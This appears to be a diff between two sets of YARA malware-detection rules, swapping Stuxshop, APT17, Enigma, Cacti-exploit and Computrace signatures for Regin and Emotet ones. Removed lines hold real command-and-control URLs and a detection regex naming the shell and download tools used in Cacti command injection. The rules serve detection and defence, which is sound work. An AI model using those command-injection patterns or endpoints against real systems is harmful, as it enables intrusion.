+rule SIGNATURE_BASE_Regin_Sig_Svcsstat : FILE
 {
 	meta:
-		description = "Stuxshop standalone sample configuration"
-		author = "JAG-S (turla@chronicle.security)"
-		id = "67367db5-51b3-5177-960a-5b06161154e2"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://medium.com/chronicle-blog/who-is-gossipgirl-3b4170f846c0"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_stuxshop.yar#L2-L30"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "c1961e54d60e34bbec397c9120564e8d08f2f243ae349d2fb20f736510716579"
-		logic_hash = "9dd57f8b4e25a53dcf54dc75a1bb26675c7dd04dbb4d96286bcc0a6527a21782"
+		description = "Detects svcstat from Regin report - file svcsstat.exe_sample"
+		author = "@MalwrSignatures"
+		id = "0cb493d7-c7f1-54c4-9805-d9894bf399da"
+		date = "2014-11-26"
+		modified = "2024-04-24"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/spy_regin_fiveeyes.yar#L126-L143"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "5164edc1d54f10b7cb00a266a1b52c623ab005e2"
+		logic_hash = "2b1fdc2cc8c0aedaf749ee0e87a8853b91735a4e215c65df221a930d4b1d02f7"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 
 	strings:
-		$cnc1 = "http://211.24.237.226/index.php?data=" ascii wide
-		$cnc2 = "http://todaysfutbol.com/index.php?data=" ascii wide
-		$cnc3 = "http://78.111.169.146/index.php?data=" ascii wide
-		$cnc4 = "http://mypremierfutbol.com/index.php?data=" ascii wide
-		$regkey1 = "Software\\Microsoft\\Windows\\CurrentVersion\\MS-DOS Emulation" ascii wide
-		$regkey2 = "NTVDMParams" ascii wide
-		$flowerOverlap1 = { 85 C0 75 3B 57 FF 75 1C FF 75 18 FF 75 14 50 FF 75 10 FF 75 FC FF 15 }
-		$flowerOverlap2 = { 85 C0 75 4C 8B 45 1C 89 45 0C 8D 45 0C 50 8D 45 08 FF 75 18 50 6A 00 FF 75 10 FF 75 20 FF 15 }
-		$flowerOverlap3 = { 55 8B EC 53 56 8B 75 20 85 F6 74 03 83 26 00 8D 45 20 50 68 19 00 02 00 6A 00 FF 75 0C FF 75 08 }
-		$flowerOverlap4 = { 55 8B EC 51 8D 4D FC 33 C0 51 50 6A 26 50 89 45 FC FF 15 }
-		$flowerOverlap5 = { 85 DB 74 04 8B C3 EB 1A 8B 45 08 3B 45 14 74 07 B8 5D 06 00 00 EB 0B 85 F6 74 05 8B 45 0C 89 06 }
-		$flowerOverlap6 = { 85 FF 74 12 83 7D F8 01 75 0C FF 75 0C FF 75 08 FF 15 }
+		$s0 = "Service Control Manager" fullword ascii
+		$s1 = "_vsnwprintf" ascii
+		$s2 = "Root Agency" fullword ascii
+		$s3 = "Root Agency0" fullword ascii
+		$s4 = "StartServiceCtrlDispatcherA" fullword ascii
+		$s5 = "\\\\?\\UNC" fullword wide
+		$s6 = "%ls%ls" fullword wide
 
 	condition:
-		all of ($flowerOverlap*) or 2 of ($cnc*) or all of ($regkey*)
+		all of them and filesize <15KB and filesize >10KB
 }
-rule SIGNATURE_BASE_STUXSHOP_Oscheck
+rule SIGNATURE_BASE_Regin_Sample_1 : FILE
 {
 	meta:
-		description = "Identifies the OS Check function in STUXSHOP and CheshireCat"
-		author = "Silas Cutler (havex@Chronicle.Security)"
-		id = "24fb5c6f-d5ab-5f17-942c-b712e2c017d4"
-		date = "2023-12-05"
-		modified = "2023-12-05"
+		description = "Semiautomatically generated YARA rule - file-3665415_sys"
+		author = "Florian Roth"
+		id = "13478652-155f-52ba-af16-53f27c92e052"
+		date = "2014-11-25"
+		modified = "2024-04-24"
 		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_stuxshop.yar#L32-L47"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "c1961e54d60e34bbec397c9120564e8d08f2f243ae349d2fb20f736510716579"
-		logic_hash = "3dca26e622289c2d244e3af035e892455a47daa67dbe0c6fad29d9f7403cbc6b"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/spy_regin_fiveeyes.yar#L145-L174"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "773d7fab06807b5b1bc2d74fa80343e83593caf2"
+		logic_hash = "e8291b4a68924dccdd825ee2cc8930acb794e92e0302598872ec78eb0bf8504f"
+		score = 70
+		quality = 85
+		tags = "FILE"
+
+	strings:
+		$s0 = "Getting PortName/Identifier failed - %x" fullword ascii
+		$s1 = "SerialAddDevice - error creating new devobj [%#08lx]" fullword ascii
+		$s2 = "External Naming Failed - Status %x" fullword ascii
+		$s3 = "------- Same multiport - different interrupts" fullword ascii
+		$s4 = "%x occurred prior to the wait - starting the" fullword ascii
+		$s5 = "'user registry info - userPortIndex: %d" fullword ascii
+		$s6 = "Could not report legacy device - %x" fullword ascii
+		$s7 = "entering SerialGetPortInfo" fullword ascii
+		$s8 = "'user registry info - userPort: %x" fullword ascii
+		$s9 = "IoOpenDeviceRegistryKey failed - %x " fullword ascii
+		$s10 = "Kernel debugger is using port at address %X" fullword ascii
+		$s12 = "Release - freeing multi context" fullword ascii
+		$s13 = "Serial driver will not load port" fullword ascii
+		$s14 = "'user registry info - userAddressSpace: %d" fullword ascii
+		$s15 = "SerialAddDevice: Enumeration request, returning NO_MORE_ENTRIES" fullword ascii
+		$s20 = "'user registry info - userIndexed: %d" fullword ascii
+		$fp1 = "Enter SerialBuildResourceList" ascii fullword
+
+	condition:
+		all of them and filesize <110KB and filesize >80KB and not $fp1
+}
+rule SIGNATURE_BASE_Regin_Sample_2 : FILE
+{
+	meta:
+		description = "Auto-generated rule - file hiddenmod_hookdisk_and_kdbg_8949d000.bin"
+		author = "@MalwrSignatures"
+		id = "1091a598-e964-5f67-9267-531d66831bee"
+		date = "2014-11-26"
+		modified = "2024-04-24"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/spy_regin_fiveeyes.yar#L176-L203"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "a7b285d4b896b66fce0ebfcd15db53b3a74a0400"
+		logic_hash = "a11d03d10661c1fc094450b250056196e5d8d16bd171eba9e37c7524aa2301d2"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 
 	strings:
-		$ = {10 F7 D8 1B C0 83 C0 ?? E9 ?? 01 00 00 39 85 7C FF FF FF 0F 85 ?? 01 00
-      00 83 BD 70 FF FF FF 04 8B 8D 74 FF FF FF 75 0B 85 C9 0F 85 ?? 01 00 00 6A 05
-      5E }
-		$ = {01 00 00 3B FA 0F 84 ?? 01 00 00 80 7D 80 00 B1 62 74 1D 6A 0D 8D 45 80
-      68 ?? ?? ?? 10 50 FF 15 ?? ?? ?? 10 83 C4 0C B1 6F 85 C0 75 03 8A 4D 8D 8B C6
-      }
+		$s0 = "\\SYSTEMROOT\\system32\\lsass.exe" wide
+		$s1 = "atapi.sys" fullword wide
+		$s2 = "disk.sys" fullword wide
+		$s3 = "IoGetRelatedDeviceObject" fullword ascii
+		$s4 = "HAL.dll" fullword ascii
+		$s5 = "\\Registry\\Machine\\System\\CurrentControlSet\\Services" ascii
+		$s6 = "PsGetCurrentProcessId" fullword ascii
+		$s7 = "KeGetCurrentIrql" fullword ascii
+		$s8 = "\\REGISTRY\\Machine\\System\\CurrentControlSet\\Control\\Session Manager" wide
+		$s9 = "KeSetImportanceDpc" fullword ascii
+		$s10 = "KeQueryPerformanceCounter" fullword ascii
+		$s14 = "KeInitializeEvent" fullword ascii
+		$s15 = "KeDelayExecutionThread" fullword ascii
+		$s16 = "KeInitializeTimerEx" fullword ascii
+		$s18 = "PsLookupProcessByProcessId" fullword ascii
+		$s19 = "ExReleaseFastMutexUnsafe" fullword ascii
+		$s20 = "ExAcquireFastMutexUnsafe" fullword ascii
 
 	condition:
-		any of them
+		all of them and filesize <40KB and filesize >30KB
 }
-rule SIGNATURE_BASE_APT17_Sample_FXSST_DLL : FILE
+rule SIGNATURE_BASE_Regin_Sample_3 : FILE
 {
 	meta:
-		description = "Detects Samples related to APT17 activity - file FXSST.DLL"
-		author = "Florian Roth (Nextron Systems)"
-		id = "e4b9b25e-8895-5ba5-b706-bfb6892c16ae"
-		date = "2015-05-14"
-		modified = "2023-12-05"
-		reference = "https://goo.gl/ZiJyQv"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt17_malware.yar#L10-L36"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "52f1add5ad28dc30f68afda5d41b354533d8bce3"
-		logic_hash = "51d6da6c3ec46dc9e991a6a36de6d79626f1859296cda65e9027951c13aa4cd5"
+		description = "Detects Regin Backdoor sample fe1419e9dde6d479bd7cda27edd39fafdab2668d498931931a2769b370727129"
+		author = "@Malwrsignatures"
+		id = "eefc174f-4b17-5c90-8478-3eaaf80e9a78"
+		date = "2014-11-27"
+		modified = "2024-04-24"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/spy_regin_fiveeyes.yar#L205-L230"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "fe1419e9dde6d479bd7cda27edd39fafdab2668d498931931a2769b370727129"
+		logic_hash = "5a0f77f203765f7737c00c3df760ea7f3ed354559aad07f3053173ff09e1ce1a"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x1 = "Microsoft? Windows? Operating System" fullword wide
-		$x2 = "fxsst.dll" fullword ascii
-		$y1 = "DllRegisterServer" fullword ascii
-		$y2 = ".cSV" fullword ascii
-		$s1 = "GetLastActivePopup"
-		$s2 = "Sleep"
-		$s3 = "GetModuleFileName"
-		$s4 = "VirtualProtect"
-		$s5 = "HeapAlloc"
-		$s6 = "GetProcessHeap"
-		$s7 = "GetCommandLine"
+		$s0 = "Service Pack x" fullword wide
+		$s1 = "\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion" wide
+		$s2 = "\\REGISTRY\\Machine\\Software\\Microsoft\\Windows NT\\CurrentVersion\\HotFix" wide
+		$s3 = "mntoskrnl.exe" fullword wide
+		$s4 = "\\REGISTRY\\Machine\\System\\CurrentControlSet\\Control\\Session Manager\\Memory Management" wide
+		$s5 = "Memory location: 0x%p, size 0x%08x" wide fullword
+		$s6 = "Service Pack" fullword wide
+		$s7 = ".sys" fullword wide
+		$s8 = ".dll" fullword wide
+		$s10 = "\\REGISTRY\\Machine\\Software\\Microsoft\\Updates" wide
+		$s11 = "IoGetRelatedDeviceObject" fullword ascii
+		$s12 = "VMEM.sys" fullword ascii
+		$s13 = "RtlGetVersion" fullword wide
+		$s14 = "ntkrnlpa.exe" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <800KB and ( all of ($x*) or all of ($y*)) and all of ($s*)
+		uint32(0)==0xfedcbafe and all of ($s*) and filesize >160KB and filesize <200KB
 }
-rule SIGNATURE_BASE_Enigmapacker_Rare : FILE
+rule SIGNATURE_BASE_Regin_Sample_Set_2 : FILE
 {
 	meta:
-		description = "Detects an ENIGMA packed executable"
-		author = "Florian Roth (Nextron Systems)"
-		id = "748bc74c-e83f-5740-8ff7-f1371fc22802"
-		date = "2017-04-27"
-		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_enigma_protector.yar#L8-L23"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a001b563db1b75581432d42a435683f24e244b6b354f83409b5b9d6d0314d63a"
-		score = 60
+		description = "Auto-generated rule - file SHF-000052 and ndisips.sys"
+		author = "@MalwrSignatures"
+		id = "0b21091d-413e-54dd-83d1-5d824fb013f2"
+		date = "2014-11-26"
+		modified = "2024-04-24"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/spy_regin_fiveeyes.yar#L232-L264"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "26125cea704532cbc22df46af228299ae810bce60938bee7b067ed273158d76f"
+		score = 75
+		quality = 83
+		tags = "FILE"
+		hash1 = "8487a961c8244004c9276979bb4b0c14392fc3b8"
+		hash2 = "bcf3461d67b39a427c83f9e39b9833cfec977c61"
+
+	strings:
+		$s0 = "HAL.dll" fullword ascii
+		$s1 = "IoGetDeviceObjectPointer" fullword ascii
+		$s2 = "MaximumPortsServiced" fullword wide
+		$s3 = "KeGetCurrentIrql" fullword ascii
+		$s4 = "ntkrnlpa.exe" fullword ascii
+		$s5 = "\\REGISTRY\\Machine\\System\\CurrentControlSet\\Control\\Session Manager" wide
+		$s6 = "ConnectMultiplePorts" fullword wide
+		$s7 = "\\SYSTEMROOT" wide
+		$s8 = "IoWriteErrorLogEntry" fullword ascii
+		$s9 = "KeQueryPerformanceCounter" fullword ascii
+		$s10 = "KeServiceDescriptorTable" fullword ascii
+		$s11 = "KeRemoveEntryDeviceQueue" fullword ascii
+		$s12 = "SeSinglePrivilegeCheck" fullword ascii
+		$s13 = "KeInitializeEvent" fullword ascii
+		$s14 = "IoBuildDeviceIoControlRequest" fullword ascii
+		$s15 = "KeRemoveDeviceQueue" fullword ascii
+		$s16 = "IofCompleteRequest" fullword ascii
+		$s17 = "KeInitializeSpinLock" fullword ascii
+		$s18 = "MmIsNonPagedSystemAddressValid" fullword ascii
+		$s19 = "IoCreateDevice" fullword ascii
+		$s20 = "KefReleaseSpinLockFromDpcLevel" fullword ascii
+
+	condition:
+		filesize <40KB and filesize >30KB and all of them
+}
+rule SIGNATURE_BASE_Regin_Sample_Set_1 : FILE
+{
+	meta:
+		description = "Detects Regin Backdoor sample"
+		author = "@MalwrSignatures"
+		id = "b0f24a0b-10e7-5549-a300-516df8644cb0"
+		date = "2014-11-27"
+		modified = "2023-01-06"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/spy_regin_fiveeyes.yar#L266-L296"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7402f409e7dd3180d8e6fe017af19d0a1d0dd86f85279191db1bc8f6c94951ac"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "77be6e80a4cfecaf50d94ee35ddc786ba1374f9fe50546f1a3382883cb14cec9"
+		hash1 = "4139149552b0322f2c5c993abccc0f0d1b38db4476189a9f9901ac0d57a656be"
+		hash2 = "e420d0cf7a7983f78f5a15e6cb460e93c7603683ae6c41b27bf7f2fa34b2d935"
 
 	strings:
-		$s1 = "P.rel$oc$" fullword ascii
-		$s2 = "ENIGMA" fullword ascii
+		$hd = { fe ba dc fe }
+		$s0 = "d%ls%ls" fullword wide
+		$s1 = "\\\\?\\UNC" fullword wide
+		$s2 = "Software\\Microsoft\\Windows\\CurrentVersion" fullword wide
+		$s4 = "SYSTEM\\CurrentControlSet\\Control\\Class\\{4D36E972-E325-11CE-BFC1-08002BE10318}" fullword wide
+		$s5 = "System\\CurrentControlSet\\Services\\Tcpip\\Linkage" wide fullword
+		$s6 = "\\\\.\\Global\\%s" fullword wide
+		$s7 = "temp" fullword wide
+		$s8 = "\\\\.\\%s" fullword wide
+		$s9 = "Memory location: 0x%p, size 0x%08x" fullword wide
+		$s10 = "sscanf" fullword ascii
+		$s11 = "disp.dll" fullword ascii
+		$s12 = "%x:%x:%x:%x:%x:%x:%x:%x%c" fullword ascii
+		$s13 = "%d.%d.%d.%d%c" fullword ascii
+		$s14 = "imagehlp.dll" fullword ascii
+		$s15 = "%hd %d" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <4000KB and all of them )
+		($hd at 0) and all of ($s*) and filesize <450KB and filesize >360KB
 }
-rule SIGNATURE_BASE_Enigma_Protected_Malware_May17_Rhxfiles : FILE
+rule SIGNATURE_BASE_Apt_Regin_Legspin : FILE
 {
 	meta:
-		description = "Auto-generated rule - file RhxFiles.dll"
-		author = "Florian Roth (Nextron Systems) with the help of binar.ly"
-		id = "d701d591-4283-5645-8768-a5ab7df0f37a"
-		date = "2017-05-02"
-		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_enigma_protector.yar#L25-L39"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "838ab7dddda798d2f5c79fc5417693f8489195b3024c43d9ad1aab05fcfd71eb"
+		description = "Rule to detect Regin's Legspin module"
+		author = "Kaspersky Lab"
+		id = "2abd3605-d9bf-53f0-8521-ac8dc18d9fce"
+		date = "2015-01-22"
+		date = "2023-01-27"
+		modified = "2024-04-24"
+		reference = "https://securelist.com/blog/research/68438/an-analysis-of-regins-hopscotch-and-legspin/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/spy_regin_fiveeyes.yar#L298-L319"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "29105f46e4d33f66fee346cfd099d1cc"
+		logic_hash = "1b026f475fdbb3c97f33895520844fa4944eb2fffc0883502a6cb79162bbd388"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "2187d6bd1794bf7b6199962d8a8677f19e4382a124c30933d01aba93cc1f0f15"
+		version = "1.0"
 
 	strings:
-		$op1 = { bd 9c 74 f6 7a 3a f7 94 c5 7d 7c 7c 7c 7e ae 73 }
-		$op2 = { 82 62 6b 6b 6b 68 a5 ea aa 69 6b 6b 6b 3a 3b 94 }
-		$op3 = { 7c 7c c5 7d 7c 7c 7c 7e ae 73 f9 79 7c 7c 7c f6 }
+		$a1 = "sharepw"
+		$a2 = "reglist"
+		$a3 = "logdump"
+		$a4 = "Name:" wide
+		$a5 = "Phys Avail:"
+		$a6 = "cmd.exe" wide
+		$a7 = "ping.exe" wide
+		$a8 = "millisecs"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <4000KB and all of them )
+		uint16(0)==0x5A4D and all of ($a*)
 }
-rule SIGNATURE_BASE_Enigma_Protected_Malware : FILE
+rule SIGNATURE_BASE_Apt_Regin_Hopscotch : FILE
 {
 	meta:
-		description = "Detects samples packed by Enigma Protector"
-		author = "Florian Roth (Nextron Systems) with the help of binar.ly"
-		id = "d701d591-4283-5645-8768-a5ab7df0f37a"
-		date = "2017-02-03"
-		modified = "2023-12-05"
-		reference = "https://goo.gl/OEVQ9w"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_enigma_protector.yar#L41-L55"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1a254d4d593b73d16d1cfbd73d7d4b2732a080cb98d70972de0826433b004152"
+		description = "Rule to detect Regin's Hopscotch module"
+		author = "Kaspersky Lab"
+		id = "907042ba-8e64-5ca7-9a83-70c28af1ab99"
+		date = "2015-01-22"
+		date = "2023-01-27"
+		modified = "2024-04-24"
+		reference = "https://securelist.com/blog/research/68438/an-analysis-of-regins-hopscotch-and-legspin/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/spy_regin_fiveeyes.yar#L321-L342"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "6c34031d7a5fc2b091b623981a8ae61c"
+		logic_hash = "33b5fa61aaa802a60f3d42d59eb474222841a8a557b06b23a9e325e922e2cec1"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "d4616f9706403a0d5a2f9a8726230a4693e4c95c58df5c753ccc684f1d3542e2"
+		version = "1.0"
 
 	strings:
-		$s1 = { 5d 5d 5d aa bf 5e 95 d6 dc 51 5d 5d 5d 5e 98 0d }
-		$s2 = { 52 d9 47 5d 5d 5d dd a6 b4 52 d9 4c 5d 5d 5d 3b }
-		$s3 = { 9f 59 14 52 d8 a9 a2 a2 a2 00 9f 51 5d d6 d1 79 }
+		$a1 = "AuthenticateNetUseIpc"
+		$a2 = "Failed to authenticate to"
+		$a3 = "Failed to disconnect from"
+		$a4 = "%S\\ipc$" wide
+		$a5 = "Not deleting..."
+		$a6 = "CopyServiceToRemoteMachine"
+		$a7 = "DH Exchange failed"
+		$a8 = "ConnectToNamedPipes"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <2000KB and all of them )
+		uint16(0)==0x5A4D and all of ($a*)
 }
-rule SIGNATURE_BASE_EXPL_LOG_Cacti_Commandinjection_CVE_2022_46169_Dec22_1 : CVE_2022_46169
+rule SIGNATURE_BASE_Regin_Related_Malware
 {
 	meta:
-		description = "Detects potential exploitation attempts that target the Cacti Command Injection CVE-2022-46169"
-		author = "Nasreddine Bencherchali"
-		id = "c799a419-87ed-55ea-8ebb-d4da901be4ad"
-		date = "2022-12-27"
-		modified = "2023-12-05"
-		reference = "https://github.com/Cacti/cacti/security/advisories/GHSA-6p93-p743-35gf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_cve_2022_46169_cacti.yar#L1-L13"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6ccd3b830deb5c5d65519274c4c528203a2a14a177382334da87e288174e2cfe"
+		description = "Malware Sample - maybe Regin related"
+		author = "Florian Roth (Nextron Systems)"
+		id = "9377dd52-244f-5289-a2a3-88b6377b2dd2"
+		date = "2015-06-03"
+		modified = "2024-04-24"
+		reference = "VT Analysis"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/spy_regin_fiveeyes.yar#L344-L367"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "76c355bfeb859a347e38da89e3d30a6ff1f94229"
+		logic_hash = "61ce7a69ab357740158e355455362a4f5fddc67ee60af120733f509e7407216f"
 		score = 70
 		quality = 85
-		tags = "CVE-2022-46169"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$xr1 = /\/remote_agent\.php.{1,300}(whoami|\/bin\/bash|\/bin\/sh|\bwget\b|powershell|cmd \/c|cmd\.exe \/c).{1,300} 200 / ascii
+		$s1 = "%c%s%c -p %d -e %d -pv -c \"~~[%x] s; .%c%c%s %s /u %s_%d.dmp; q\"" fullword wide
+		$s0 = "Software\\Microsoft\\Windows NT\\CurrentVersion\\HotFix" fullword wide
+		$s2 = "%x:%x:%x:%x:%x:%x:%x:%x%c" fullword ascii
+		$s3 = "disp.dll" fullword ascii
+		$s4 = "msvcrtd.dll" fullword ascii
+		$s5 = "%d.%d.%d.%d%c" fullword ascii
+		$s6 = "%ls_%08x" fullword wide
+		$s8 = "d%ls%ls" fullword wide
+		$s9 = "Memory location: 0x%p, size 0x%08x" fullword wide
 
 	condition:
-		$xr1
+		$s1 or 3 of ($s*)
 }
-rule SIGNATURE_BASE_PUP_Computraceagent : FILE
+import "pe"
+
+rule SIGNATURE_BASE_MAL_Emotet_JS_Dropper_Oct19_1 : FILE
 {
 	meta:
-		description = "Absolute Computrace Agent Executable"
-		author = "ASERT - Arbor Networks (slightly modified by Florian Roth)"
-		id = "676f8f1e-a3b4-5d05-b13b-bd6cb0aabbbd"
-		date = "2018-05-01"
+		description = "Detects Emotet JS dropper"
+		author = "Florian Roth (Nextron Systems)"
+		id = "34605452-8f3d-540a-b66f-4f68d9187003"
+		date = "2019-10-03"
 		modified = "2023-12-05"
-		reference = "https://asert.arbornetworks.com/lojack-becomes-a-double-agent/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_fancybear_computrace_agent.yar#L1-L14"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "65e964e68be1e286ab3aa39677e250cf5994a7a08d0f6db286c0260cf77d6c48"
+		reference = "https://app.any.run/tasks/aaa75105-dc85-48ca-9732-085b2ceeb6eb/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_emotet.yar#L2-L16"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "563077f3bc8ee18a887eecb9f0591c693e5543a9875eebad2186745154af1ade"
 		score = 75
 		quality = 85
 		tags = "FILE"
+		hash1 = "38295d728522426672b9497f63b72066e811f5b53a14fb4c4ffc23d4efbbca4a"
+		hash2 = "9bc004a53816a5b46bfb08e819ac1cf32c3bdc556a87a58cbada416c10423573"
 
 	strings:
-		$a = { D1 E0 F5 8B 4D 0C 83 D1 00 8B EC FF 33 83 C3 04 }
-		$b1 = { 72 70 63 6E 65 74 70 2E 65 78 65 00 72 70 63 6E 65 74 70 00 }
-		$b2 = { 54 61 67 49 64 00 }
+		$xc1 = { FF FE 76 00 61 00 72 00 20 00 61 00 3D 00 5B 00
+               27 00 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <40KB and ($a or ($b1 and $b2))
+		uint32(0)==0x0076feff and filesize <=700KB and $xc1 at 0
 }
-rule SIGNATURE_BASE_Quarkspwdump_Gen
+import "pe"
+
+rule SIGNATURE_BASE_MAL_Emotet_Jan20_1 : FILE
 {
 	meta:
-		description = "Detects all QuarksPWDump versions"
+		description = "Detects Emotet malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "7de4f59e-6cf5-5ad7-ae1f-8532d9e80c9e"
-		date = "2015-09-29"
+		id = "334ae7e5-0a46-5e95-bf53-0f343db4e4de"
+		date = "2020-01-29"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_quarkspwdump.yar#L2-L24"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "327235260076f97c29acc1ca997205d08ef55fad795594fe2268f1d8e666d636"
-		score = 80
+		reference = "https://app.any.run/tasks/5e81638e-df2e-4a5b-9e45-b07c38d53929/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_emotet.yar#L20-L37"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "23ffcdde3eae7637e5b47a0f940cbebafccfd4c3f222b882e73d7d02447b83c3"
+		score = 75
+		quality = 85
+		tags = "FILE"
+		hash1 = "e7c22ccdb1103ee6bd15c528270f56913bb2f47345b360802b74084563f1b73d"
+
+	strings:
+		$op0 = { 74 60 8d 34 18 eb 54 03 c3 50 ff 15 18 08 41 00 }
+		$op1 = { 03 fe 66 39 07 0f 85 2a ff ff ff 8b 4d f0 6a 20 }
+		$op2 = { 8b 7d fc 0f 85 49 ff ff ff 85 db 0f 84 d1 }
+
+	condition:
+		uint16(0)==0x5a4d and filesize <=200KB and (pe.imphash()=="009889c73bd2e55113bf6dfa5f395e0d" or 1 of them )
+}
+import "pe"
+
+rule SIGNATURE_BASE_MAL_Emotet_BKA_Quarantine_Apr21
+{
+	meta:
+		description = "No description has been set in the source file - Signature Base"
+		author = "press inquiries <info@bka.de>, technical contact <info@mha.bka.de>"
+		id = "22c27d82-00cb-5d2f-a1cc-9f8b4c60aecd"
+		date = "2021-03-23"
+		modified = "2023-12-05"
